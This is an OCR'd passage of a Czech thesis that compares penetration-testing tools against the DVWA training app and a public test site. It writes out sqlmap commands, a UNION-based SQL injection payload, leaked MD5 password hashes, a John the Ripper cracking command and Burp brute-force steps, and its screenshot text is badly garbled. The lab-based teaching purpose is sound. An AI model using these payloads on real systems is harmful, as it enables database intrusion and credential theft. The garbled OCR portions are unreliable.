&  Login::Damn Vulnerable W X +

& cC @ © ® 127.0.0.1

Kali Linux #8 KaliTools ¢ KaliDocs X Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Username

aamin

Password

Login

Damn Vuinerable Web Application (DVWA)

Obrdzek 5: DVWA - dalsi zapnuti, zdroj viastni
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Po ptihlaseni je pro ucely této prace je zvoleno zabezpeceni irovné low — nizké. Tak aby Slo

patfi¢né otestovat kazdy nastroje.

Home | DVWA Security #
Instructions
Setup I Reset DB Security Level

Security level is currently: low.
Brute Force

You can set the security level to low, medium, high or impaossible. The security level changes the vulnerability
Command Injection level of DVWA:
CSRF 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be

File Inclusion as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or leamn basic exploitation techniques

File Upload 2. Medium - This setting is mainly to give an example 1o the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
Insecure CAPTCHA exploitation techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
SQL Injection practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) competitions.
SeCinectoniiSind) 4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable

Weak Session IDs source code to the secure source code.
Prior to DVWA v1.9, this level was known as "high’
XSS (DOM)
XSS (Reflected) Low v Submit
XSS (Stored) Low
CSP Bypass Medium
JavaScript High

PHPIDS works by filtering any user supplied input against a blacklist of potentially malicious code. It is used in
DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in

PHP Info some cases how WAFs can be circumvented.

About You can enable PHPIDS across this site for the duration of your session.

P-Intrusion Detection System) is a security layer for PHP based web applications.

PHPIDS is currently: disabled. [ 1]

[ 1-T ]

Username: admin
Security Level: low
Locale: en
PHPIDS: disabled
SQLi DB: mysql

Obrazek 6: DVWA - nastaventi tirovné zabezpeceni, zdroj viastni

4.2 Prubéh testovani

V této kapitole je popsano, jak kazdy test probihal v¢etné postupti a informaci o nastrojich.

Testované nastroje jsou Burp Suite, Sqlmap, Nmap, John the Ripper, Wireshark.

42.1 Burp Suite

Jedna se jeden z nejpouzivan€jSich nastroju a o velice komplexni nastroj, ktery je rozdélen
do nékolika casti.
e Intruder, ten umoziuje provadeét automatizované utoky na miru a provadét
nejraznéjsi testovaci tlohy.
e Repeater, ktery slouzi k ru¢ni upravé a opakovanému zadavani jednotlivych
pozadavka HTTP.

e Sequencer, ten slouzi k analyze kvality ndhodnosti v tokenech relaci aplikace.
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e Decoder umoziuje transformovat bity dat aplikace pomoci bé&znych schémat
koédovani a dekddovani.
e Comparer, ktery slouzi k vizualnimu porovnavani bitt dat aplikace s cilem najit
zajimavé rozdily.
V placenych verzi profesional a enterprise existuji dal$i casti jako naptiklad scanner, ktery
slouzi k automatickému skenovani webovych stranek na obsah a zranitelnosti zabezpeceni.
Burp umoziuje efektivné kombinovat manudlni a automatizované techniky, poskytuje
uplnou kontrolu nad vSemi ¢innostmi, které Burp Suite provadi, a poskytuje podrobné
informace a analyzy o testovanych aplikacich.
Schéma uvedené na obrazku 7. predstavuje prehled klicovych ¢asti pracovniho postupu

penetracniho testovani Burp Suite na vysoké urovni:

——— e e — — — — — — | — — — —

|
| | |
| I |
| Web I
| browser I :
| I |
| | | ,
: Burp I |
2 E |
| Burp Proxy ACthn s} | : |
| spidering | l Display |
| \ I l
I Passive l I
spidering | |
| I |
| Active ] Content Iy
| 3 Iscovery discovery | Target |
| Proxy history | : scope |
|
| (1 |
| I |
: Custom Burp : | |
| el Intruger | : Authentication |
| attack | | :
I e e R e e e e e e e o J | |
———te—_—_—_g——_——_——-——- - - - .t ——_——_—_—_—_—_ e ——— — — — — — A |
| e Vulnerability Detection | | ; |
| Jokoxe i and Exploitation | | Session |
| scanning f handling
|
| [ |
| Confirm some I |
| Vuinerabilities I |
| in browser [ Save | restore |
| I state |
| Bu |
m Burp Burp Burp | |
: Scanner Repeater Intruder Sequencer I |
|
| | Task |
| | : scheduling |
|
| | | |
| | | |
| | | |
| Vulnerabilities I |
| [ |
| | | |
| (| |
[ e e e e e e e e e e s e e e £ S £ e S S e S e e "

Obrdzek 7: Burp Suite schéma, (Portswigger, 2021)

Burpsuite obsahuje obsahlou dokumentaci ktera je dostupnd na oficidlnich strankach

https://portswigger.net/burp/documentation ,kde je volné ptistupna ke ¢teni. Je rozdelena do
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nekolika Casti a to predevSim na edice nastroje. Tim padem kritérium pro podporu a
udrzovanost spliluje.
Licence a cena se u nastroje Burpsuite rozdéluje podle vlastnéné edice a to bud’

e Commmunity je zakladni verze voln¢€ dostupna a zcela zdarma. Obsahuje zékladni
funkce s moznostmi ru¢niho testovani.

e Professional je pokrocilejsi verze, ktera je rozsifena o dalsi pokrocilejsi nastroje,
moznosti roz§ifeni a automatizace. Cena nastroje je staovena na 349€ s moznosti
stahnuti trial verze zadarmo.

e Enterprise je nejlepsi z nich a jeho urceni je pro vétsi spolecnosti, nebot’ jeho cena je
nejprve rozdélena do tii moznosti a to dle poctu skenovacich agentt (1 skenovaci
agent = 1 sken v jeden okamzik):

o Nejlevné)§i moznost a to moznost pro 5 je za cenu 6 015€
o Verze pro 20 je za cenu 12,450€
o A pro 50+ je cena stanovena na 25,320€

Pro demostraci nastroje je v této verzi jako prvni mozné ud¢lat brute-force attack pomoci

¢asti intruder.

— [EE] © v e [———— x
4 wetask | [ Sean niruder attack

@

Message

Obrazek 8: Burp Suite, zdroj vlastni
Nejprve je potreba aplikaci DVWA proklikat a udélat jakykoliv pokus o prihlaseni. Tim se
v zalozce proxy objevi http historie a je potfeba jen vybrat prihlaseni, které se posle do dalsi

¢asti intruder.
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Obrazek 9: Burp Suite proxy, zdroj viasti

# Host

http://127.0.0.1
http://127.0.0.1
http://127.0.0.1
http://127.0.0.1
http:/{127.0.0.1

»LI'lII»L‘-'.:

BV Hex [

GET /DWWASvwulnerabilities/brute/?username=admnin&password=test&login=Login HTTP/1.1

Host: 127.0.0.1

Methed

GET
GET
GET
GET
GET

n =

LIRL

IDVWAIsetup.php
Jdvwaljs/add_event_listeners.js
JDVWASvulnerabilities/brute/

JDVWAIvulnerabilities/brute/7usernam...
JDvWAlvulnerabilities/brute/?usernam...

Params

Edited

User-agent: Mozillas5.0 (¥11; Linux xB86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9, image /webp,*/*;q=0.8

Accept -Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate

Connection: close

Status

200
404
200
200
200

Length

5708
451
4480
4532
4575

Referer: http://127.0,0,1/DVWA/vulnerabilities/brute/Yusernane=test&password=test&login=Login

2 Cookie: security=low: PHPSESSID=qhbdrS7gl8Sibguzhkvrrocgpsc
10 Upgrade-Insecure-Requests: 1

MIME type

HTML
HTML
HTML
HTML
HTML

E

phg
is

V casti intruder je potfeba ovéfit cil, nasledné pozici, na které se bude provadét utok a jako

posledni je potfeba vyplnit payload. Tedy to misto odkud se budou brat hesla. Samotny test

pak trva na dle zavislosti velikosti payloadu. V praci bylo vybrano 100 nejpouzivanéjsich

dostupnych pfimo v systému kali linux. Nalezené heslo se da po skonceni nalézt podle

velikosti zadosti, protoze jako jedina se lisi od ostatnich svoji délkou, tedy ze doslo k n&jaké

odpovédi, jak je vidét na obrazku 10.

Request
72 555555
73 liverpool
74 abc
75 whatever
76 11111111
77 102030
78 123123123
79 andrea
B0 pepper
g1 nicole
82 killer
g3 abcdef
g4 hannah
BS5 test
B6 alexander
g7 andrew
BB 222220

Payload

Status Error Timeout
200 4532
200 4532
200 4532
200 4532
200 4532
200 4532
200 4532
200 4532
200 4532
200 4532
200 4532
200 4532
200 4532
200 4575
200 4532
200 4532
200 4532

Obrazek 10: Burp Suite vysledek, zdroj viastni
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http://127.0.0.1
http://127.0.0.1
http://127.0.0.1

4.2.2 Vysledky nastroje Burb Suite

Nazev Hodnoty Poznamky

Cena a licence 0-25,320€ Cena se odviji od verze
nastroje

Spolehlivost 100 %

Cas 4m 56s Zavisly na velikosti
paylodu

Dokumentace Ano - Vyborna

Podpora a udrzovanost Ano, v2021.10.2

Automatizace Ano

Vystup Ano — html, xml

Tabulka 2: Vysledky nadstroje Burp Suite
42.3 Sqlmap

Sqlmap je automatizuje proces detekce a vyuziti chyb SQL injection a pievzeti databazovych
servert. Je vybaven vykonnym detekénim enginem, mnoha vyklenkovymi funkcemi pro
dokonalé penetracni testery a Sirokou Skalou prepinaci. Podporuje velké mnozstvi databazi
jako naptiklad MySQL, Oracle, PostgreSQL, Microsoft SQL a spoustu dal§ich.

Samotny software je zdarma a Ize jej §ifit anebo upravovat za podminek GNU General Public
License, jak ji vydala Free Software Foundation.

Aplikace je stale udrzovana. Aktualni a pouzivana verze pii testech je 1.5.11#stable, ktera
byla vydana 3. ledna 2021.

Cela  dokumentace je  dostupna na  strankach  GitHubu na  adrese

https://github.com/sqlmapproject/sqlmap/wiki/Usage, kde je 1 nastroj dostupny ke stazeni,

proto kritérium pro podporu a udrzovanost spliiuje.

Vystup je béhem nebo po prubéhu testu dostupny na
/home/kali/.local/share/sqlmap/output/127.0.0.1 ve formatu .txt a vystupy jsou uloZeny
vusers.csv. Jako vystup dokaze poskytnout ziskané hashe hesel pro zpracovani

crackovacimi nastroji.
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Cilem demonstrace nastroje je cracknout hesla ulozené v databazi aplikace DVWA. Sqlmap
ma piesné stanovené parametry které je nutné dodrzet pfi SQL injection Cil je uveden
parametrem — u, ktery nasleduje jeho hodnota — URL. URL musi obsahovat cil s parametry
obsahujici moznou zranitelnost (zde je zranitelnosti id). Nasleduje parametr session ziskany
z prede§lého nastroje Burpsuite, ktery umozni ptihlaseni do aplikace DVWA.

Prikazem:

Sqlmap -u https://127.0.0.1/DVWA/vulnerabilities/sqli/?id=aaa&Submit=Submit# --
cookie="security=low; PHPSSESSID=8288m3chbrrrtb7coltdrdrl9p*

Doplnénim o dalsi parametr dbs 1ze najit databaze v aplikaci, zde je dulezita pouze databaze
DVWA. Nasledujicim piikazem tedy smazanim —dbs a nahrazenim -D (Direct) jsou
zobrazeny dvé databaze:

Sqlmap -u https://127.0.0.1/DVWA/vulnerabilities/sqli/?id=aaa&Submit=Submit# --
cookie="security=low; PHPSSESSID=8288m3chbrrrtb7coltdrdrl9p* -D dvwa -tables

[ ] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]

+

Obrazek 11: Sqlmap tables, zdroj viasini

Nasleduje prikaz pro databazi users kde se hledaji polozky user a password:
Sqlmap -u https://127.0.0.1/DVWA/vulnerabilities/sqli/?id=aaa&Submit=Submit# --
cookie="security=low,; PHPSSESSID=8288m3chbrrrfb7coltdrdrl9p* -D dvwa -T users --

columns
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L}

kalif@ kali: ~

File Actions Edit View Help

aL UNION guery (NULL) - 2 columns
UNION ALL SELECT NULL,I_DN[ / _..' w151
26bbe51746169664 756624 1

web server opﬂqulng system: Linux Debian
web applicatic Apache 2
back-end D [

"dvwa’

Type

varchar(

oo
(o I R s I |

(73]

 ——— e e o —
. ——— e e o —

Obrazek 12: Sqlmap users, zdroj viastni

A poslednim ptfikazem doslo ke cracknuti hesel, jak je vidét na obrazku 13.
Sqlmap -u https://127.0.0.1/DVWA/vulnerabilities/sqli/?id=aaa&Submit=Submit# --
cookie="security=low; PHPSSESSID=8288m3chbrrrfb7coltdrdrl9p* -D dvwa -T users -C

user,password --dump

for hash '
for hash °
for hash
for hash
' for hash '

admin
donb
7

pa

smithy

1
:
I
H
| e
I
I
|.
B
H

Obrazek 13: Sqlmap cracked passwords, zdroj viastni
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424 Vysledky nastroje Sqlmap

Nazev Hodnoty Poznamky

Cena a licence Zdarma GNU GPL version 2
Spolehlivost 100 %

Cas 9 minut 39 sekund

Dokumentace Ano - Dobra

Podpora a udrzovanost Ano 1.5.11#stable

Automatizace Ano Z ptikazového radku
Vystup Ano — Plain text V podobé hashti hesel

Tabulka 3: Vysledky nastroje Sqlmap
4.2.5 .Nmap

Nmap je uren pro zjistovani sité a audit zabezpeCeni. Mnoho spravct systému a siti jej take
povazuje za uziteCny pro ukoly, jako je inventarizace sit€, sprava plana aktualizace sluzeb a
sledovani provozuschopnosti hostitelt nebo sluzeb. Nmap vyuziva surové pakety IP novymi
zpusoby ke zjisténi, jaci hostitelé jsou v siti k dispozici, jaké sluzby apod.

Licence a cena nastroje je zdarma. Nmap je distribuovan za podminek Nmap Public Source
License. Tato licence je zalozena na licenci GNU GPLv2, ale obsahuje dalsi dilezité
podminky, upfesnéni a vyjimky.

Nmap obsahuje obsahlou dokumentaci na strankach https://nmap.org/docs.html i s moznosti

vybéru ne€kolika jazykt, nicméné databaze nema pravidelné aktualizace.

Nastroj je stale podporovan a jeho aktualni verze je 7.92 vydana 7.8.2021 proto kritérium
pro podporu a udrzovanost spliyje.

Pro demonstraci testu nastroje je zjisténi zranitelnosti webové aplikace DVWA

Pro zjisténi zranilenosti je pouzit piikaz: Sudo nmap -sV -p21-8080 --script vulners

127.0.0.1
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Mmap scan report for localhost (127.08.8.1)

Host is up (@.0000048s5 latency).

Mot shown: 8058 closed tcp ports (reset)

PORT STATE SER VERSION

g0/tcp open http Apache httpd 2.4.51 ((Debian})
vulners:

fvulner

Obrdazek 14: Nmap zranitelnosti

Po skonceni testu se objevi vSechny nalezené zranitelnosti s urCitym skore zranitelnosti a

odkazem na podrobny vypis, jak je zndzornéno na obrazku cislo 15.

©) GitHub - v I X CVE-2021-44790-Acar X +
av ilners.com
Kali Docs & Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

DATABASE PRODUCTS »  PRICING STATS BLOG DOCS CONTACTS GET STARTED

OO ws 75

1D CVE-2021-44790

Type cve

Reporter security@apache.org
Modified 2022-02-07 16:16:00

CWE787

CVSSv3 v

(( Attack Complexity: LOW ) (c Impact: HIGH )
(( Attack Vector: NETWORK ) (Integrity Impact: HIGH )

( Scope: UNCHANGED ) (_Availability Impact: HIGH )

AVN/ACL/PRIN/UEN/S:U/C:H/HIAH
Description
A carefully crafted request body can cause a buffer overflow in the mod_lua multipart parser (rparsebody() called from Lua scripts). The

Apache httpd team is not aware of an exploit for the vulnerabilty though it might be possible to craft one. This issue affects Apache HTTP
Server 2.4.51 and earlier

Platform
Vendor Product Version
apache http_server 2451

Obrazek 15: Vysledek zranitelnosti

4.2.6 Vysledky nastroje .Nmap

Nazev Hodnoty Popis

Cena a licence Zdarma GNU GPL version 2

Spolehlivost 100 %

Cas 12 sekund
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https://vulners.com/cve/CVE-2021-44790
https://vulners.com/cve/CVE-2021-44224
https://vulners.eom/nodejs/NODEJS:602
https://vulners.com/�vei,CVE-2021-44790
mailto:Reportersecuiity@apache.org

Dokumentace Ano - Dobra

Podpora a udrzovanost Ano - 7.92
Automatizace Ano Z ptikazového radku
Vystup Ano — xml, xsl, xslt, html Dostupny v nékolika

formatech

Tabulka 4: Vysledky nastroje Nmap
4.2.77 John the Ripper

John the Ripper je rychly program pro prolamovani hesel, ktery je v soucasné dobé k
dispozici pro mnoho verzi systémt Unix, MacOS, Windows, DOS, BeOS a OpenVMS. Jeho
hlavnim tcelem je odhalovat slaba hesla Unixu. Kromé nékolika typt hasht hesel crypt,
které se nejCastéji vyskytuji v riznych systémech Unixu.

Licence tohoto nastroje je zdarma za podminnek GNU General Public License, které
definovala spole¢nost Free Software Foundation. Tato licence neomezuje uzivani nastroje,
ale tika, jak se zachovat v pfipadé distribuce nastroje, jakym zpusobem pracovat s
pridavanim uprav nastroje.

Nastroj je momentalné stale udrzovany. Jeho posledni verze je 1.9.0, ktera byla vydana

2.11.2021.

Dokumentace nastroje obsahla a dostupna na adrese https://www.openwall.com/john/doc/

K tomu, aby bylo mozné crackovat hesla bylo zapottebi provést SQL injection. Je tu nékolik
moznosti, jak ji provést, bud’ pomoci néjakého dalsiho néstroje jako tfeba sqlmap pouzity
vySe anebo manualné. Pro tento nastroj jsem se rozhodl pro manualni moznost, kdy lze
danymi piikazy, a nakonec finalnim ptikazem:

%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password)
from users #

ziskat hashe hesel v databazi aplikace DVWA jak je vidét na obrazku 16.
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User ID: Submit

ID: %' and 1=0 union select null, concat{first name,®xBa,last name,dxfa,user,0x0d
First name:
Surname: admin
admin

admin
B98febcd4621d373cadedel32627baf6

ID: %' and 1=0 union select null, concat{first name,®xBa,last name,0x0a,user,0x0d
First name:

Surname: Gordon

Brown

gordonb
299318c428cb38d5f260853678922e03

ID: %' and 1=0 union select null, concat{first name,®xBa,last name,0x0a,user,0x0d
First name:

Surname: Hack

Me

133
8d3533d75ae2c3966d7efddfcc69216b

Obrazek 16: Zjisténi hashit hesel, zdroj viastni
Z téch je pak zapottebi udélat hash soubor s kterym pak piikazem --format=raw-MDS35

hash.txt 1ze cracknout hesla, ktera jsou vypsana nize na obrazku 17.

-] /hnme!kall!Desktnp

10
Using default input encodi
ed 5 password hashes with no different salts (
ning: no OpenMP support for Thl: hash type,
ding with single, :

24 7T ed for performance.
if
ding with

Obrazek 17: Cracknuta hesla, zdroj viastni

4.2.8 Vysledky nastroje John the Ripper

Nazev Hodnoty Poznamky
Cena a licence Zdarma GNU GPL version 2
Spolehlivost 70 % Béhem testu doslo ke tfem

potizim, a to pfedev§im

s pfetizenim RAM

Cas 7 minut 11 sekund
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Dokumentace Ano — Dostacujici

Podpora a udrzovanost Ano -1.9.0
Automatizace Ne
Vystup Ne

Tabulka 5: Vysledky nastroje John the Ripper
4.2.9 Wireshark

Wireshark je celosvétoveé nejpouzivanéj§im analyzatorem sitovych protokold. Umoziiuje
sledovat déni v siti na mikroskopické trrovni.

Nastroj je zdarma a lze si jej stahnout bez placeni licen¢nich poplatkt. Licence, pod kterou
je Wireshark vydavan, je GNU General Public License verze 2.

Dokumentace vcetné dostupnych video tutorialti je dostupna online na webové strance

https://www.wireshark.org/docs/ anebo ke stazeni ve formatu ePub a PDF na stejné adrese.

Nastroj je stale udrzovany, verze pouzita pii testovani byla 3.4.9 vydana 6.10.2021
Rozsahly vystup vysledku. Export mozny do nékolika riznych soubora.
K otestovani tohoto nastroje byla pouzita webova stranka urcena k tomuto testu dostupna na

adrese: http://testasp.vulnweb.com/ . Wireshark méa své vlastni rozhrani a po zapnuti zacne

snimat jakoukoliv aktivitu. K zjisténi ptihlaSovacich udaju byl pouzit sniffing, jiz dfive
zminovany v kapitole o kybernetickych utocich. Po pokusu o piihlaseni je v programu
zachyceno samotné piihlaSovani. Pro rychlejsi nalezeni lze vyfiltrovat vysledky pouze na

protokol http, kde pak nasledné€ vyhledat piihlaSeni, jak je vidét na obrazku cislo 18.
e~~~

No. Time Source Destination Protocol Length Info
532 4.348190043 44.228.249.3 10.8.2.15 HTTP 365 HTTP/1.1 404 Not Found (text/html)
598 48.288302601 10.0.2.15 44.238.29.244 HTTP 418 GET / HTTP/1.1
602 48.496763164 44.238.29.244 10.0.2.15 HTTP 2356 HTTP/1.1 200 0K (text/html)
604 48.559012879 10.0.2.15 44.238.29.244 HTTP 401 GET /styles.css HTTP/1.1

! 609 48.744659600 44.238.29.244 10.0.2.15 HTTP 3691 HTTP/1.1 200 OK (text/css)

| 611 48.745098374 10.0.2.15 44.238.29.244 HTTP 402 GET /Images/logo.gif HTTP/1.1

H 613 48.853199660 10.0.2.15 44.238.29.244 HTTP 360 GET /favicon.ico HTTP/1.1

| 619 48.932858485 44.238.29.244 10.0.2.15 HTTP 2355 HTTP/1.1 200 OK (GIF8%9a)

! 621 49.035355217 44.238.29.244 108.8.2.15 HTTP 1459 HTTP/1.1 4064 Not Found (text/html)
637 53.507781780 10.0.2.15 44.238.29.244 HTTP 513 GET /Login.asp?RetURL=%2FDefault%2Easp%3F HTTP/1.1
641 53.699460810 44.238.29.244 10.0.2.15 HTTP 1969 HTTP/1.1 200 OK (text/html)

.198292850 .8.2. .29. 681 POST /Login.asp?RetURL=%2FDefaul t%2Easp%3F HTTP/1.1

691 63.392404476 44.238.29.244 18.8.2.15 HTTP 1990 HTTP/1.1 200 0K (text/html)

Obrazek 18: Wireshark

Po patficném prozkoumani, lze nalézt samotné pifihlaSeni v Casti ,hypertext transfer

protocol®, jak je vidét na obrazku 19.
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Frame 685: 681 bytes on wire (5
Ethernet II, Src: PcsCompu_5
Internet Protocol Version 4, Sr

Transmission Control Protocol, Src

Hypertext Transfer Protocol

Wireshark - Packet 685 - ethQ

48 bits 681 byt tured (5448 bits) on interf eth
114 (08 127:50:4c:14) : RealtekU_1 5:82 (52:5 -

4

HTML Form URL Encoded: application/x-www-form-urlencoded
~ Form item: "tfUName" = "admin"

Key: tfUName
Value: admin
~ Form item: "tfUPas "test"
Key: tfUPass
Value: test
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Obrazek 19: Wireshark vysledek, zdroj viasini

4.2.10 Vysledky nastroje Wireshark

B, Seq: 808, Ack: 8557, Len:

-www - for
oded - -Co
ngth: 26

http:/
.vulnweb
nnection
live: -Re
ttp://te
lnweb.co

Cookie:

ONIDASTA
NHKOCNKD
CEJPG- -U
nsecure-

id ©
25

Nazev

Hodnoty

Poznamky

Cena a licence

Zdarma

GNU GPL version 2

Spolehlivost

100%

4

Cas

1 minuta 14 sekund

Dokumentace

Ano - Vyborna

Podpora a udrzovanost

Ano -3.4.9

Automatizace

Ano

Vystup

Ano - Plain text, csv, json

Tabulka 6: Vysledky nastroje Wireshark
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5 Vysledky a diskuse

5.1 Souhrnné vyhodnoceni dle kategorii

V této kapitole je nejprve vyhodnoceni nastroju v danych kritérii a nasledné celkové

vyhodnoceni dle vSech kritérii.

5.1.1 Cena alicence

Nastroje Sqlmap, Nmap, John the Ripper a Wireshark jsou zdarma s omezenim distribuce a
vSechny zminéné jsou licencovany pod licenci GNU General Public licence verze 2. Nastroj
Burp Suite je komerc¢ni produkt s minimalné ro¢nim licencovani a jeho cena se pohybuje

v rozmezi od 0 do 25 320 € dle verze.

5.1.2  Spolehlivost

Vsechny nastroje dosahly ve finale vysledku, kterych jejich demonstrace méla dosahnout,
nicméné s nastrojem John the Ripper dochézelo k zatizeni procesoru na maximum a dostaval

se do faze necinnosti a nutného restartu.

5.1.3 Cas

Zde je potteba rozd¢lit nastroje na 2 skupiny, a to na komplexnéjsi nastroje Burp Suite a
wireshark a pan na ty ostatni. Cas Wireshraku je o par minut rychlejsi, ale musi se brat

v potaz, ze stoji na sniffingu bez kterého by nedoslo k uspéSnému zjisténi.

5.14 Dokumentace

Dokumentace u v§ech nastroju byla velmi dulezita pfi praci s aplikaci DVWA a byla tak jeji
nedilnou soucasti. U nastroje John the Ripper, sqlmap a nmap dokumentace obsahovala
popisovala zakladni funkcionality a dosSlo i na chvile kdy byla potfeba nékteré informace
dohledavat. Naproti tomu Burp Suite a Wireshark maji dokumentace o néco lepsi, protoze
se jedna o mnohem komplexnéjsi nastroje a jejich ptitomnost je potieba. Proto maji oba

nastroje dokumentace zakomponované jiz ve svych aplikacich.

5.1.5 Podpora a udrzovanost

K obdobi, kdy probihali testy byly vSechny nastroje stale podporované. U vétSiny nastroja

je patrna s porovnanim predeslych verzi pouha udrzovanost bez néjaké inovace nebo novych
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funkci. Namisto toho nastroj Burp Suite se v pohledu zpét na predchozi verze meéni a pridava
nové funkce. To ale mize byt k neprospéchu, protoze v piipadé placeného nastroje jako je
Burp Suite dochézi k ochuzeni o nékteré funkce u verzi zdarma. I pres to se Burp Suite jevi

jako ta nejlepsi moznost

5.1.6 Vystup

Export vysledkt je mozny u vSech kromé az na nastroj John the Ripper, kdy se jedna o
jednoduchy nastroj a je zde pochopitelné jeho absence. U ostatnich nastroji je export mozny

v nékolika formatech.
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5.2 Vyhodnoceni

Pti porovnani vSech kategorii, které jsou vidét v tabulce x. Vyhodnoceni vSech nastroju, si
vedly nejlépe nastroje Burp Suite a Wireshark, kde oba nastroje jsou velmi podrobné, maji
své vlastni rozhrani, mnoho dalSich funkci a velmi dobfe zpracovanou dokumentaci.
Nicméné pii porovnani vSech jejich moznosti, funkci a vzani v potaz ostatni verze Burp Suite
1 ptes jejich ohromné ceny, Burp Suite svoji komplexitou prevySuje Wireshark a jedna se o
nejlepsi nastroj, ktery v této praci byl otestovan.

V prabéhu prace doslo i na testy dalSich nastroju, a to nastroj THC Hydra a Nikto. Nicméneé
u prvniho zminéného nebylo mozné test dokonCit z divodu zahlceni procesoru i
v momentech jednoho dotazu. NejspiSe se jednalo o mozny bug, ktery souvisel
s nainstalovanou verzi v opera¢nim systému Kali linux. Z toho davodu byly z prace
vylouceny a nebyly porovnavany.

Jako dalsi tu jsou mensi nastroje, kdy nejhiife z nich si vedl John the Ripper z divodu
mensich obtizi pfi testovani. I pfes to se jedna o velmi dobry a G€inny nastroj, ktery je velmi
oblibeny u ostatnich uzivateld, ale je vhodny pro mensi manualni testy.

Nasleduje Nmap, ktery neni urCen pro zjistovani piihlasovacich udaju ale pro nalezeni
zranitelnosti. I pres to si vedl velmi dobfe a je dobry pro mensi testy na zjistovani
zranitelnosti.

A jako posledni je Sqlmap, ktery by se v pfipad¢ zafazeni zatfadil na tfeti misto. Je podobny
nastroji Burp Suite, je zdarma a jeho funkce se zamétrené na zranitelnosti. Nastroj je vyborny
ana 100 % plni svoji funkci, ale urCitymi vlastnostmi zaostava. I pres to se jedna o dobry

nastroj pro manualni testy.

Cena  a | Spolehlivost | Cas Dokumen | Podpora a | Auto. | Vystup
licence tace udrzovanost
Burpsuite | 0-25 120€ | 100 % 4m 56s Vybornd | Ano Ano | Ano
Sqlmap Zdarma 100 % 9m 39s Dobra Ano Ano | Ano
Nmap Zdarma 100 % 14s Dobra Ano Ano | Ano
John the | Zdarma 70 % Tm 11s Dostacuji | Ano Ne Ne
Ripper ci
Wireshark | Zdarma 100 % Im 14s Vyborna | Ano Ano | Ano
Tabulka 7: Vyhodnoceni ndstrojit
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6 Zavér
Obsahem prace bylo vyhodnoceni né€kolika nejlépe hodnocenych nastroju pro
penetracni testovani mezi uzivateli dle kritérii, které byly v praci vybrany a
definovany.
V teoretické casti bylo definovano, co je to hacking, jeho dilezité aspekty jako
napiiklad white hat, black hat hacker. Dale pak bylo definovano samotné penetracni
testovani jeho déleni, metodika, faze a typy. Pokracovalo se kybernetickymi utoky, a
to se zaméfenim na ty nejb€zné€jsi s danym dirazem na Utoky pouZzité pii testovani.
Utoky byly nasledovany kybernetickou bezpe&nosti, kde bylo popsana ochrana jak pro
bézné uzivatele, tak 1 pro spolecnosti.
Dale se prace zaméfila na analyzu nastroji pro penetra¢ni testovani, které byly pouzity
pro zhotoveni praktické ¢asti. A jako posledni doslo na stanoveni hodnoticich kritérii,
které byly vytvoreny na zaklad¢ pouzitych publikaci.
V praktické casti bylo vytvoreno prostiedi pro bezpecné testovani a popsana aplikace
DVWA a operacni systém Kali linux, aby v ptipadé potieby bylo mozné toto prostiedi
Znovu vytvorit.
Dale byly popsany demonstrace samotnych utoka, které se zaméfovaly na zpusoby
ziskani ptihlasovacich udaji a vyhledavani zranitelnosti dle dostupnych dokumentaci
nastroju. Jednalo se utoky brute force, sql injection, cracking a nalezeni zranitelnosti.
Pfi Sql injection bylo zapotiebi prozkoumat databézi, a to bud manualné nebo za
pouziti nastroje Burp Suite.
Demonstrace testovani nebyly provadény na realnych systémech z divodu omezeni
zakona. Vse bylo provadéno na mistech tomu plné uréené, a to na zminéné webové
aplikaci nebo webové strance k tomu urcené.
V posledni kapitole bylo uzavieno testovani a doslo ke komparaci nastroji mezi
sebou, kdy jako nejlépe hodnoceny i pfes jeho moznost vysoké ceny, vysel nastroj

Burp Suite.
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